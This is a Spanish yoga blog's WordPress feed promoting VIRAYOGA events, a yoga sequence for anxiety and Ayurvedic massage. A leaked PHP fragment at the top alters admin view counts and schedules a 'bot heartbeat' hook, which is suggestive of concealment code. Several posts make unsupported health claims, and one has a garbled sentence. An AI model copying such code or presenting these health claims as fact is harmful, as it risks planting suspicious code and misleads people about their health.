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')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Yoga – Yoga con Arjuna http://www.yogaconarjuna.com Virayoga Mon, 24 Aug 2026 15:27:19 +0000 es hourly 1 https://wordpress.org/?v=4.9.31 http://www.yogaconarjuna.com/wp-content/uploads/2017/07/cropped-2017-07-30-14.37.28-1-32x32.jpg Yoga – Yoga con Arjuna http://www.yogaconarjuna.com 32 32 Barcelona Yoga Day 2017 http://www.yogaconarjuna.com/2017/06/12/barcelona-yoga-day-2017/ http://www.yogaconarjuna.com/2017/06/12/barcelona-yoga-day-2017/#respond Mon, 12 Jun 2017 19:54:57 +0000 http://yogaconarjuna.com/?p=1359 Otro año más participamos en el Barcelona Yoga Day como parte de la organización y ofreciendo una VIRAYOGA Masterclass gratuita. Si todavía no conoces este sistema de yoga es un buen momento, para que vengas a conocernos. Practicaremos una sesión, despertaremos nuestro VIRA (Guerrer@ interno) a través de la respiración y la práctica. Y sobretodo... [Leer más]

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Otro año más participamos en el Barcelona Yoga Day como parte de la organización y ofreciendo una VIRAYOGA Masterclass gratuita.

Si todavía no conoces este sistema de yoga es un buen momento, para que vengas a conocernos. Practicaremos una sesión, despertaremos nuestro VIRA (Guerrer@ interno) a través de la respiración y la práctica. Y sobretodo pasaremos una hora en conexión con nuestro cuerpo, mente y espíritu.

Una práctica de yoga al aire libre, rodeados de naturaleza en el Parc de l’Estació del Nord, en Barcelona. Donde podrás también disfrutar de otras actividades como: conciertos, meditaciones, talleres, conferencias y comprar todo tipo de artículos artesanales.

También tendrás la ocasión de adquirir nuestro libro «Conoce el Virayoga por Arjuna, el canalla del yoga» ya que Beta Editorial es patrocinadora oficial del Barcelona Yoga Day. Y si estás interesado podrás llevarte tu libro dedicado por mi.

¡Así que os esperamos el domingo 18 de junio a las 12h en el espacio Asanas!

Mas info en VIRAYOGA en Barcelona Yoga Day

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Informal SELFIE video montaje http://www.yogaconarjuna.com/2017/03/05/informal-selfie-video-montaje/ http://www.yogaconarjuna.com/2017/03/05/informal-selfie-video-montaje/#respond Sun, 05 Mar 2017 20:29:49 +0000 http://yogaconarjuna.com/?p=1214 Namaste amog@s, aquí os dejo mi ultima creación muy muy informal, sin guiones, sin pensar, simplemente un móvil y los protagonistas que en breve veréis en mi libro de VIRAYOGA. Hablando en totalmente directo, con mucha vergüenza y desde el corazón que es lo mas importante para mi, transmitir desde el corazón. Espero que disfrutéis... [Leer más]

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Namaste amog@s, aquí os dejo mi ultima creación muy muy informal, sin guiones, sin pensar, simplemente un móvil y los protagonistas que en breve veréis en mi libro de VIRAYOGA. Hablando en totalmente directo, con mucha vergüenza y desde el corazón que es lo mas importante para mi, transmitir desde el corazón.

Espero que disfrutéis estos siete minutos y os anime a comprar el libro, ya podréis poner cara a algunos personajes del libro.

¡Gracias!

Arjuna

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¿Ansiedad? Esta sesión de Yoga te ayudará a eliminarla http://www.yogaconarjuna.com/2017/01/30/ansiedad-esta-sesion-de-yoga-te-ayudara-a-eliminarla/ http://www.yogaconarjuna.com/2017/01/30/ansiedad-esta-sesion-de-yoga-te-ayudara-a-eliminarla/#respond Mon, 30 Jan 2017 10:42:17 +0000 http://yogaconarjuna.com/?p=1098 La ansiedad es una respuesta que aparece cuando te sientes en peligro. Es una reacción natural que nos protege y que a la vez activa nuestro sistema nervioso provocando una serie de reacciones desagradables en nuestro cuerpo. Hay que entender que a pesar de tener estas sensaciones poco placenteras la ansiedad es algo normal, que en cierta medida puede ser... [Leer más]

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La ansiedad es una respuesta que aparece cuando te sientes en peligro. Es una reacción natural que nos protege y que a la vez activa nuestro sistema nervioso provocando una serie de reacciones desagradables en nuestro cuerpo. Hay que entender que a pesar de tener estas sensaciones poco placenteras la ansiedad es algo normal, que en cierta medida puede ser positiva ya que nos activa y nos permite protegernos de algún peligro.

La correcta actuación siempre será tomar conciencia de lo que nos esta sucediendo y adoptar una respiración cada vez más calmada para relajarnos y poder salir de este estado.

A continuación encontrarás una sesión de yoga dedicada a la disminución de la ansiedad. Pruébala y verás como tu también te puedes enriquecerte de los beneficios de las asanas para combatir la ansiedad.

Antes de empezar la práctica es importante hacer una pequeña meditación para dejar atrás los pensamientos y conectar con tu cuerpo para sentirte en el aquí y ahora.

 

Maryariasana de pie

Técnica: Partimos de la postura de Tadasana (Posición anatómica de pie). Flexionamos las piernas ligeramente, colocamos manos sobre raíz del muslo con los pulgares hacia adelante.

Inhalando atraso codos abriendo el tórax, exhalando codos hacia adelante dejando caer cabeza, cuando haya vaciado todo el aire repetimos muy suave dejando que poco a poco se vaya flexibilizando la columna.

La duración de esta preparación vertebran será de unos 2’

Beneficios: Flexibiliza la columna vertebral, combate el estrés eliminando la agresividad acumulada. 

Tadasana Lateral

Técnica: Partimos de la postura de Tadasana (Posición anatómica de pie). Unimos talones y puntas de los pies hacia afuera, columna recta, manos entrelazadas detrás del occipital y codos ligeramente atrasados.

Inhalando dejo caer la cadera hacia la derecha con la columna bien recta, exhalando recupero posición. Siguiente respiración trabajaremos el otro lado, así sucesivamente sin forzar y hundiendo abdomen para proteger lumbares.

La duración de este estiramiento lateral será de unos 2’

 Beneficios: Estira la musculatura lateral, flexibiliza la espina dorsal previniendo lumbagos, dolores de espalda, escoliosis y mejora el equilibrio y la concentración mental.

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Vrksasana

 Técnica: Partimos de la postura de Tadasana (Posición anatómica de pie). Piernas situadas a la anchura de las caderas, empezamos trabajando lado derecho así que dejamos caer todo el peso hacia la derecha. Todo el peso situado en pie derecho y lentamente anclamos la mirada en un punto que nos permita mantener el equilibrio. Elevamos el pie izquierdo y lo colocamos en el hueco interno de la rodilla derecha. Cuando haya una buena estabilidad unimos las manos en el centro de pecho en Namaste Mudra.

La duración de esta asana será de unos 2’ por lado.

Beneficios: Mejora el equilibrio y la fortaleza. Equilibra las emociones, la concentración, el sosiego, mantiene la mente clara y serena, desarrolla la conciencia de nuestro cuerpo y nos conecta con la realidad material.

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Bhujangasana    

 Técnica: Partimos de posición prona (boca abajo).Presiona tus palmas de la mano contra el suelo a la altura del pecho y bajo tus hombros. Estira tus brazos, arquea tu columna vertebral abriendo el tórax, hundiendo el abdomen y mira hacia adelante.

La duración de esta asana será de unos 2’.

Beneficios: Fortalece la espalda y los hombros, expande el tronco flexibilizándolo. Elimina todo tipo de rencores emocionales y activa nuestro amor incondicional, dar y recibir sin esperar nada a cambio.

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Dandasana

 Técnica: Posición bastón, sentado en el suelo con las piernas estiradas. Presiona las piernas hacia el suelo y apuntala los dedos de los pies hacia arriba. Presiona las yemas de los dedos de las manos contra el suelo junto a las caderas. Estira la columna y mantén el mentón entrado ligeramente hacia adentro.

La duración de esta asana será de unos 2’.

Beneficios: Fortalece la musculatura de la espalda y  flexibiliza toda la cadena muscular posterior. Estira el sistema nervioso y te relaja, eliminando la ansiedad el estrés.

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Ardha Marichyasana

 Técnica: Sentado en Dandasana (Posición bastón), en el suelo con las piernas estiradas. Flexiono la pierna derecha llevando el talón lo más cerca posible del glúteo con la planta del pie apoyada. Manteniendo la columna bien recta roto hacia la derecha abrazándome a la pierna flexionada con el brazo izquierdo. La mano derecha queda detrás apuntalada por las yemas de los dedos.

La duración de esta asana será de unos 2’ por lado.

 Beneficios: Estira la columna vertebral, la flexibiliza y estimula los órganos internos facilitando la digestión. Calma el cerebro relajándote de pensamientos.

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 Supta Pachimottanasana

 Técnica: Estirados en Savasana (Posición cadáver). Espalda bien apoyada al suelo, hombros atrasados y también apoyados creando una base en el suelo, flexiono piernas y las elevo estirándolas hacia arriba. Si el mantenimiento es muy intenso ayúdate de una pared o de cintas.

La duración de esta asana será de unos 2’.

 Beneficios: Estira por completo la musculatura posterior, tonifica el abdomen. Relaja el sistema nervioso permitiéndote establecer un estado de sedación completo, ideal para finalizar la sesión de yoga.

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¡DISFRUTAR DE ESTA PRACTICA SENCILLA Y DI ADIOS A LA ANSIEDAD!

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La Casa Elizalde + VIRAYOGA http://www.yogaconarjuna.com/2016/12/22/la-casa-elizalde-vira-yoga/ http://www.yogaconarjuna.com/2016/12/22/la-casa-elizalde-vira-yoga/#respond Thu, 22 Dec 2016 11:25:22 +0000 http://yogaconarjuna.com/?p=1029 El Viernes 27 Enero a las 17h empieza este nuevo proyecto con @lacasaelizalde, que apuesta por este sistema de yoga para despertar a nuevos «guerrer@s internos». Serán clases regulares todos los viernes a las 17h, e iremos avanzando con las sesiones de VIRAYOGA, descubriendo su parte física, la parte mas yoguica y marcial. ¡Si quieres... [Leer más]

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El Viernes 27 Enero a las 17h empieza este nuevo proyecto con @lacasaelizalde, que apuesta por este sistema de yoga para despertar a nuevos «guerrer@s internos».

Serán clases regulares todos los viernes a las 17h, e iremos avanzando con las sesiones de VIRAYOGA, descubriendo su parte física, la parte mas yoguica y marcial.

¡Si quieres inscribirte aquí te dejo el enlace y la web!

https://casaelizalde.inscripcionscc.com/ccivic/families.xml

www.lacasaelizalde.com

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Masaje Ayurveda http://www.yogaconarjuna.com/2016/12/19/masaje-ayurveda/ http://www.yogaconarjuna.com/2016/12/19/masaje-ayurveda/#respond Mon, 19 Dec 2016 10:34:35 +0000 http://yogaconarjuna.com/2016/12/19/masaje-ayurveda/ Hace un par de años tuve la suerte de encontrar un camino muy bello en mi vida que me enseñó a profundizar en los orígenes de una parte fundamental del yoga, el Ayurveda. Ayurveda  significa «ciencia de la vida» es la medicina más antigua que se conoce a día de hoy, para tratarla se busca... [Leer más]

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Hace un par de años tuve la suerte de encontrar un camino muy bello en mi vida que me enseñó a profundizar en los orígenes de una parte fundamental del yoga, el Ayurveda.

Ayurveda  significa «ciencia de la vida» es la medicina más antigua que se conoce a día de hoy, para tratarla se busca un  entorno fuera de la civilización ya que siempre buscamos nuestra fuente más  natural, será la mejor manera de empezar a tratar al paciente con Ayurveda.

Aunque esta es otra vertiente que hoy no hablaré, hoy os voy a contar los beneficios de un masaje ayurveda que es mi especialidad.

Este masaje viene del sur de India y se llama Agashtya

Es un masaje físico en el cual hacemos que la energía transmute  de los pies hacia arriba, se realiza boca abajo, boca arriba, sentado y cabeza. Con los dedos se va presionando por los meridianos y puntos Marma para eliminar bloqueos.

Es muy agradable y relajante, regenera células y desintoxica tu cuerpo.

El aceite que se usa es totalmente ecológico y echo por el terapeuta con sus plantas medicinales para sanar y regenerar piel.

Todo eso adjunto con una conciencia para sanar a la vez que se recitan mantras sagrados.

¡Así que la mejor manera de experimentar el ayurveda es conectando conmigo y probar este magnífico masaje! A hoy conocida y ancla sus bases en la alimentación y el entorno. Una alimentación yoguica unido a un

Te espero. ARJUNA

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FOTOS presentación VIRAYOGA http://www.yogaconarjuna.com/2016/11/06/aqui-os-dejo-unas-fotos-de-la-presentacion-vira-yoga/ http://www.yogaconarjuna.com/2016/11/06/aqui-os-dejo-unas-fotos-de-la-presentacion-vira-yoga/#respond Sun, 06 Nov 2016 17:37:53 +0000 http://yogaconarjuna.com/?p=937 ¡¡¡Master class preciosa para abrir la temporada!!!

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¡¡¡Master class preciosa para abrir la temporada!!!

Meditacion con Arjuna Presentación Virayoga

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Entrevista para «El Noveno Viajero» http://www.yogaconarjuna.com/2016/07/07/entrevista-para-el-noveno-viajero/ http://www.yogaconarjuna.com/2016/07/07/entrevista-para-el-noveno-viajero/#respond Thu, 07 Jul 2016 20:57:41 +0000 https://yogaconarjuna.wordpress.com/?p=804 Para aquellos que queráis saber más sobre mi y el Vira Yoga aquí os dejo la entrevista que me hizo El Noveno Viajero, el pasado jueves en el Hotel NH Calderón de Barcelona. Fue una entrevista fluida y con un equipo súper agradable, en la que hablamos de mi vida yóguica, y del orígen y creación... [Leer más]

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Para aquellos que queráis saber más sobre mi y el Vira Yoga aquí os dejo la entrevista que me hizo El Noveno Viajero, el pasado jueves en el Hotel NH Calderón de Barcelona.

Fue una entrevista fluida y con un equipo súper agradable, en la que hablamos de mi vida yóguica, y del orígen y creación del VIRA YOGA.

Gracias  al Noveno Viajero por elegirme.

Arjuna

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VIRAYOGA en el Barcelona Yoga Day http://www.yogaconarjuna.com/2016/06/30/vira-yoga-en-el-barcelona-yoga-day-2/ http://www.yogaconarjuna.com/2016/06/30/vira-yoga-en-el-barcelona-yoga-day-2/#comments Thu, 30 Jun 2016 19:10:53 +0000 https://yogaconarjuna.wordpress.com/?p=777 Namaste amigos, tras el BYD (Barcelona Yoga Day) y como miembro de la organización, estoy muy contento por la buena acogida que tubo el VIRAYOGA y en general la participación de todos vosotros. Fue un día muy duro, coordinarlo todo es complicado pero ha valido la pena por el buen ambiente que se generó, la energía nos... [Leer más]

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Namaste amigos, tras el BYD (Barcelona Yoga Day) y como miembro de la organización, estoy muy contento por la buena acogida que tubo el VIRAYOGA y en general la participación de todos vosotros.

Fue un día muy duro, coordinarlo todo es complicado pero ha valido la pena por el buen ambiente que se generó, la energía nos acompañaba y el éxito fue presente, casi  170 personas practicando al unísono VIRAYOGA!

Momento mágico para mi poder compartir mi conocimiento a tanta gente. Asi que aquí os dejo un pequeño video para que veáis el ambiente precioso que había en el parque de la estación de norte (Barcelona) el 19 de junio.

Hasta pronto!

Arjuna

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Organización BARCELONA YOGA DAY http://www.yogaconarjuna.com/2016/06/17/organizacion-barcelona-yoga-day/ http://www.yogaconarjuna.com/2016/06/17/organizacion-barcelona-yoga-day/#respond Fri, 17 Jun 2016 11:07:46 +0000 https://yogaconarjuna.wordpress.com/?p=742 Este domingo se celebra en el Parc de l´Estació del Nord el Barcelona Yoga Day, doy gracias a las divinidades y todas las energías que me pusieron en este camino y concretamente en este momento que estoy viviendo. Con la ilusión de poder dirigir el VIRAYOGA y tener la oportunidad de desarrollarlo en este evento,... [Leer más]

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Este domingo se celebra en el Parc de l´Estació del Nord el Barcelona Yoga Day, doy gracias a las divinidades y todas las energías que me pusieron en este camino y concretamente en este momento que estoy viviendo.

Con la ilusión de poder dirigir el VIRAYOGA y tener la oportunidad de desarrollarlo en este evento, me siento afortunado ya que es uno de los eventos de Yoga más importantes del país.

No es fácil crearlo, doy fe. Pero somos un buen equipo y si sale como lo estamos visualizando en nuestros corazones estoy seguro que todos los asistentes van a disfrutar de este día.

Desde este año quería comunicaros que ya no es un evento que organizaban ciertas personas o escuelas, sino que hemos creado una asociación porque queremos difundir con todos vosotros unos valores que compartimos como practicantes de yoga.

Esta asociación no es solo un conjunto de personas que nos hemos unido para crear un evento sinó que todos nosotros compartimos un mismo camino. Creemos que en Barcelona hay mucha diversidad de yogas, y no por practicar diferentes corrientes debemos de sentirnos menos unidos como practicantes. Es por eso que queremos con vuestra ayuda, promover y difundir esta disciplina tan bonita y que tanto nos aporta.

Me gustaría hablaros un poco de mis compañeros de la organización.

Gundicha, es un ser humano con un corazón enorme, dice mi hermanito Mahajana que lo más parecido a un santo es él y ahora puedo corroborarlo.

Sergi, es una persona tímida de primeras, pero es un corazón con patitas, nunca dice «no»  y con su bella energía  facilita el éxito a todo el que se le rodea.

Bhrama Kumaris, son unos yoguis estupendos, con mucho valor y organización. Tenerlos es un placer ya que me transmiten una paz celestial, meditar con ellos será precioso.

Marta, aix Marta… Que mujer más tímida pero efectiva, activa y cuanto más la conozco más me sorprende, es una flor de loto que nos ilumina.

Vero es luz, guerrera a más no poder pero todo lo que tiene de guerrera lo tiene de dulce. Es nuestra activista número 1, sin ella muchas cosas no hubieran sido posible. Es 24h de devoción que no hace estar a todos despiertos.

Patricio. woww… Que conexión, hace unos años coincidimos en un curso y desde entonces supe que compartiríamos dharma. Es el motor de la organización, profesional, divertido y con una mente abierta y súper evolucionada, grande Madhava!

Y como no, para finalizar mi “Mataji” Cristina Mata que decir de ella… Su corazón vibra a planos extra humanos, implicación y sufrimiento porque este día sea grande. Sin ella no estaría en la organización, sigo pensando en cómo agradecerle todo lo que está haciendo por mí…

Pues queridos lectores, desde mi mirada veo un gran equipo que lo va a dar todo para que este domingo sea genial.

No me faltéis que pasare lista!

Hasta el domigo!!!

Arjuna

#barcelonayogaday

www.barcelonayogaday.org

2016-06-13 09.19.37

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Barcelona Yoga Day 2016 http://www.yogaconarjuna.com/2016/05/10/barcelona-yoga-day-2016/ http://www.yogaconarjuna.com/2016/05/10/barcelona-yoga-day-2016/#respond Tue, 10 May 2016 17:12:37 +0000 https://yogaconarjuna.wordpress.com/?p=693 Namaste amigos, El 7 de noviembre de 2014 la Asamblea General de las Naciones Unidas aprobó la Resolución 69/L.17 “haciendo notar la importancia de que las personas y las poblaciones adopten decisiones más saludables y modos de vida que propicien la buena salud. Recalcando el hecho de que la salud mundial es un objetivo de... [Leer más]

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Namaste amigos,

El 7 de noviembre de 2014 la Asamblea General de las Naciones Unidas aprobó la Resolución 69/L.17 haciendo notar la importancia de que las personas y las poblaciones adopten decisiones más saludables y modos de vida que propicien la buena salud. Recalcando el hecho de que la salud mundial es un objetivo de desarrollo a largo plazo que exige una cooperación internacional más estrecha mediante el intercambio de las mejores prácticas encaminadas a la adopción de estilos de vida individuales que no incluyan excesos de ningún tipo. Reconociendo que el yoga ofrece un enfoque holístico de la salud y el bienestar. Reconociendo también que difundir más ampliamente la información relativa a las ventajas que entraña practicar el yoga sería beneficioso para la salud de la población mundial. Decide proclamar el 21 de junio Día Internacional del Yoga”.

Así que, como no… Barcelona «ciudad de Yoga» también se celebra y este año soy miembro de la organización, para mi es un privilegio aportar mi granito de arena y mostrar mi ilusión para que el yoga se expanda y cada vez la gente pueda vivir con una conciencia mas elevada.

Se celebrara el 19 de Junio Domingo en el Parc de la Estació del Nord. Con conciertos, meditaciones, clases de yoga, charlas… Habran stans de todo tipo siempre relacionados con este mucho y un ambiente agradable.
Desde la organización os animamos a participar con las actividades y a que vengáis a visitarnos!

Os dejo el correo para pedir más información: informacionyogaday@gmail.com

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La entrada Barcelona Yoga Day 2016 se publicó primero en Yoga con Arjuna.

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